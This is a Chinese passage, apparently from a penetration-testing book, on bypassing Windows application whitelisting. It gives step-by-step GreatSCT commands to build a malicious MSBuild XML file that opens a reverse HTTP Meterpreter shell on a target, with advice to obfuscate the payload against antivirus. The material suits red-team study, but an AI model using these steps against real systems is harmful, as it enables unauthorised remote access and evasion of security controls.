7.6 应用程序白名单规避
我们已经讨论了在不运行 PowerShell 代码的情况下触发 PowerShell 的不同方法,但如果您无法在 Windows 系统上运行自定义二进制文件,该怎么办?应用程序规避的原理是找到默认的 Windows 二进制文件,执行静荷。我们登录类似域控制器设备,但是系统被锁定,代码执行受到限制。我们可以使用不同的 Windows 文件来绕过这些限制,让我们来看看其中的几个文件。
一个经常被讨论的 Windows 二进制文件是 MSBuild.exe,实现绕过应用程序白名单。什么是 MSBuild.exe,它有什么作用?MSBuild 是.NET Framework 中的默认应用程序,使用 XML 格式的项目文件,构建.NET 应用程序。我们可以利用这个功能,使用名为 GreatSCT 的工具,创建自己的恶意 XML 项目文件,执行 Meterpreter 会话。
GreatSCT(见 GitHub 中的 GreatSCT 网页)包括各种应用程序白名单绕过方法,这里我们只介绍 MSBuild。在这个例子中,我们创建恶意的 XML 文件,该文件承载一个 reverse_http Meterpreter 会话。这将要求我们在被攻击系统中写入 XML 文件,使用 MSBuild 执行 XML 文件,如图 7.3 所示。
- git clone https://github.com/GreatSCT/GreatSCT.git /opt/。
- cd /opt/GreatSCT。
- python3 ./gr8sct.py。
- [4] MSBUILD/msbuild.cfg。
图 7.3
- Enter your host IP [0] and port [1]输入主机 ZP 地址和端口。
- generate 创建文件。
- 在 Metasploit 中创建 windows/meterpreter/reverse_http handles。
在 Kali 实例中,我们使用 GreatSCT 创建 shellcode.xml 文件,该文件包含构建信息和 Meterpreter 反向 HTTP Shell。需要将此文件移动到被攻击系统,并使用 MSBuild 进行调用,如图 7.4 所示。
图 7.4
注意:我确实看到 GreatSCT 正在“开发”分支(见 GitHub 中 GreatSCT 页面的 tree/develop 子页面)上积极构建,其中包括 HTTPS Meterpreter 和其他白名单绕过机制。我猜测在本书出版之后,它将被转移到“主版本”。
一旦在被攻击的计算机的 Windows 上具备执行权限,使用命令“C:\Windows\Microsoft. NET\Framework\v4.0.30319\MSBuild.exe shellcode.xml”,.NET 将开始构建 shellcode.xml 文件。在这个过程中,被攻击的计算机将生成反向 HTTP Meterpreter 会话,绕过任何应用白名单机制,如图 7.5 所示。您可能希望编辑 shellcode.xml 文件,放入混淆的静荷,因为默认的 Meterpreter 很可能会触发杀毒软件。
有许多不同的方法可以绕过应用程序白名单机制,这些方程足够编写为一本书。
图 7.5
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论